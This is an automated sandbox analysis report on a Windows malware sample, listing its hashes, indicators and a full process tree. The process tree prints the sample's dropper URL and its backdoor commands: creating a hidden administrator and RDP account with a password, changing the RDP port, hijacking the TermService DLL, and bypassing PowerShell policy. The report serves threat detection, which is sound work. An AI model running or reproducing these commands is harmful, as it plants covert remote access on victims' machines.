d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486

Analysis

max time kernel
150s
max time network
99s
platform
windows10_x64
resource
win10v20210408
submitted
24-09-2021 21:43

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General

Target

83d119a963e7050995f9bf6be8841b95.exe
Size

5.7MB
MD5

83d119a963e7050995f9bf6be8841b95
SHA1

2ba0e479d5c2b7b9b28c7f946bd56489cedaa126
SHA256

d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486
SHA512

4c740f5e0f4787fc268239882fe9b74ee00944053ac4c45ca1d114dbd22954f00c3f4fd5fb39be932b44e6da9380466d07b324150454357bf7b12a17b77ceffe

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
8	5068	powershell.exe
10	5068	powershell.exe
11	5068	powershell.exe
12	5068	powershell.exe
14	5068	powershell.exe
16	5068	powershell.exe
18	5068	powershell.exe
20	5068	powershell.exe
22	5068	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ab38-358.dat	upx
behavioral2/files/0x000200000001ab3d-359.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
4232	Process not Found
4232	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_zx3sgsyg.0ou.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF7DA.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF7EB.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_1cm2mslq.hrb.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF77A.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF7C9.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF7FB.tmp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3344	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe
3392	powershell.exe
3392	powershell.exe
3392	powershell.exe
416	powershell.exe
416	powershell.exe
416	powershell.exe
1100	powershell.exe
1100	powershell.exe
1100	powershell.exe
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe
5068	powershell.exe
5068	powershell.exe
5068	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
616	Process not Found
616	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3392	powershell.exe
Token: SeSecurityPrivilege	3392	powershell.exe
Token: SeTakeOwnershipPrivilege	3392	powershell.exe
Token: SeLoadDriverPrivilege	3392	powershell.exe
Token: SeSystemProfilePrivilege	3392	powershell.exe
Token: SeSystemtimePrivilege	3392	powershell.exe
Token: SeProfSingleProcessPrivilege	3392	powershell.exe
Token: SeIncBasePriorityPrivilege	3392	powershell.exe
Token: SeCreatePagefilePrivilege	3392	powershell.exe
Token: SeBackupPrivilege	3392	powershell.exe
Token: SeRestorePrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeSystemEnvironmentPrivilege	3392	powershell.exe
Token: SeRemoteShutdownPrivilege	3392	powershell.exe
Token: SeUndockPrivilege	3392	powershell.exe
Token: SeManageVolumePrivilege	3392	powershell.exe
Token: 33	3392	powershell.exe
Token: 34	3392	powershell.exe
Token: 35	3392	powershell.exe
Token: 36	3392	powershell.exe
Token: SeDebugPrivilege	416	powershell.exe
Token: SeIncreaseQuotaPrivilege	416	powershell.exe
Token: SeSecurityPrivilege	416	powershell.exe
Token: SeTakeOwnershipPrivilege	416	powershell.exe
Token: SeLoadDriverPrivilege	416	powershell.exe
Token: SeSystemProfilePrivilege	416	powershell.exe
Token: SeSystemtimePrivilege	416	powershell.exe
Token: SeProfSingleProcessPrivilege	416	powershell.exe
Token: SeIncBasePriorityPrivilege	416	powershell.exe
Token: SeCreatePagefilePrivilege	416	powershell.exe
Token: SeBackupPrivilege	416	powershell.exe
Token: SeRestorePrivilege	416	powershell.exe
Token: SeShutdownPrivilege	416	powershell.exe
Token: SeDebugPrivilege	416	powershell.exe
Token: SeSystemEnvironmentPrivilege	416	powershell.exe
Token: SeRemoteShutdownPrivilege	416	powershell.exe
Token: SeUndockPrivilege	416	powershell.exe
Token: SeManageVolumePrivilege	416	powershell.exe
Token: 33	416	powershell.exe
Token: 34	416	powershell.exe
Token: 35	416	powershell.exe
Token: 36	416	powershell.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeIncreaseQuotaPrivilege	1100	powershell.exe
Token: SeSecurityPrivilege	1100	powershell.exe
Token: SeTakeOwnershipPrivilege	1100	powershell.exe
Token: SeLoadDriverPrivilege	1100	powershell.exe
Token: SeSystemProfilePrivilege	1100	powershell.exe
Token: SeSystemtimePrivilege	1100	powershell.exe
Token: SeProfSingleProcessPrivilege	1100	powershell.exe
Token: SeIncBasePriorityPrivilege	1100	powershell.exe
Token: SeCreatePagefilePrivilege	1100	powershell.exe
Token: SeBackupPrivilege	1100	powershell.exe
Token: SeRestorePrivilege	1100	powershell.exe
Token: SeShutdownPrivilege	1100	powershell.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeSystemEnvironmentPrivilege	1100	powershell.exe
Token: SeRemoteShutdownPrivilege	1100	powershell.exe
Token: SeUndockPrivilege	1100	powershell.exe
Token: SeManageVolumePrivilege	1100	powershell.exe
Token: 33	1100	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 4936	4796	83d119a963e7050995f9bf6be8841b95.exe	69
PID 4796 wrote to memory of 4936	4796	83d119a963e7050995f9bf6be8841b95.exe	69
PID 4936 wrote to memory of 5104	4936	powershell.exe	71
PID 4936 wrote to memory of 5104	4936	powershell.exe	71
PID 5104 wrote to memory of 3268	5104	csc.exe	72
PID 5104 wrote to memory of 3268	5104	csc.exe	72
PID 4936 wrote to memory of 3392	4936	powershell.exe	73
PID 4936 wrote to memory of 3392	4936	powershell.exe	73
PID 4936 wrote to memory of 416	4936	powershell.exe	76
PID 4936 wrote to memory of 416	4936	powershell.exe	76
PID 4936 wrote to memory of 1100	4936	powershell.exe	78
PID 4936 wrote to memory of 1100	4936	powershell.exe	78
PID 4936 wrote to memory of 4716	4936	powershell.exe	82
PID 4936 wrote to memory of 4716	4936	powershell.exe	82
PID 4936 wrote to memory of 3344	4936	powershell.exe	83
PID 4936 wrote to memory of 3344	4936	powershell.exe	83
PID 4936 wrote to memory of 3340	4936	powershell.exe	84
PID 4936 wrote to memory of 3340	4936	powershell.exe	84
PID 4936 wrote to memory of 4104	4936	powershell.exe	85
PID 4936 wrote to memory of 4104	4936	powershell.exe	85
PID 4104 wrote to memory of 1008	4104	net.exe	86
PID 4104 wrote to memory of 1008	4104	net.exe	86
PID 4936 wrote to memory of 3604	4936	powershell.exe	87
PID 4936 wrote to memory of 3604	4936	powershell.exe	87
PID 3604 wrote to memory of 3708	3604	cmd.exe	88
PID 3604 wrote to memory of 3708	3604	cmd.exe	88
PID 3708 wrote to memory of 2884	3708	cmd.exe	89
PID 3708 wrote to memory of 2884	3708	cmd.exe	89
PID 2884 wrote to memory of 4260	2884	net.exe	90
PID 2884 wrote to memory of 4260	2884	net.exe	90
PID 4936 wrote to memory of 740	4936	powershell.exe	91
PID 4936 wrote to memory of 740	4936	powershell.exe	91
PID 740 wrote to memory of 3848	740	cmd.exe	92
PID 740 wrote to memory of 3848	740	cmd.exe	92
PID 3848 wrote to memory of 3940	3848	cmd.exe	93
PID 3848 wrote to memory of 3940	3848	cmd.exe	93
PID 3940 wrote to memory of 3440	3940	net.exe	94
PID 3940 wrote to memory of 3440	3940	net.exe	94
PID 4264 wrote to memory of 3684	4264	cmd.exe	98
PID 4264 wrote to memory of 3684	4264	cmd.exe	98
PID 3684 wrote to memory of 4496	3684	net.exe	99
PID 3684 wrote to memory of 4496	3684	net.exe	99
PID 812 wrote to memory of 1396	812	cmd.exe	103
PID 812 wrote to memory of 1396	812	cmd.exe	103
PID 1396 wrote to memory of 1524	1396	net.exe	104
PID 1396 wrote to memory of 1524	1396	net.exe	104
PID 1808 wrote to memory of 1040	1808	cmd.exe	108
PID 1808 wrote to memory of 1040	1808	cmd.exe	108
PID 1040 wrote to memory of 580	1040	net.exe	109
PID 1040 wrote to memory of 580	1040	net.exe	109
PID 2500 wrote to memory of 3240	2500	cmd.exe	112
PID 2500 wrote to memory of 3240	2500	cmd.exe	112
PID 3240 wrote to memory of 3632	3240	net.exe	113
PID 3240 wrote to memory of 3632	3240	net.exe	113
PID 4064 wrote to memory of 4068	4064	cmd.exe	116
PID 4064 wrote to memory of 4068	4064	cmd.exe	116
PID 4068 wrote to memory of 3496	4068	net.exe	117
PID 4068 wrote to memory of 3496	4068	net.exe	117
PID 2352 wrote to memory of 2844	2352	cmd.exe	120
PID 2352 wrote to memory of 2844	2352	cmd.exe	120
PID 2844 wrote to memory of 4076	2844	net.exe	121
PID 2844 wrote to memory of 4076	2844	net.exe	121
PID 2080 wrote to memory of 4556	2080	cmd.exe	124
PID 2080 wrote to memory of 4556	2080	cmd.exe	124

C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe
"C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5drmgc1n\5drmgc1n.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES970B.tmp" "c:\Users\Admin\AppData\Local\Temp\5drmgc1n\CSCB94FCE7A99CF424194347C4E4E2EB2.TMP"
      4⤵
      PID:3268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1100
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:4716
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3344
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3340
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1008
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3708
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2884
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:4260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:740
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3848
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3940
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3440
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1216
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1828

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:4264
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:4496

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 6letaiCK /add
1⤵
- Suspicious use of WriteProcessMemory
PID:812
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 6letaiCK /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 6letaiCK /add
    3⤵
    PID:1524

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:580

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:3632

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3496

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 6letaiCK
1⤵
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 6letaiCK
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 6letaiCK
    3⤵
    PID:4076

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:4556

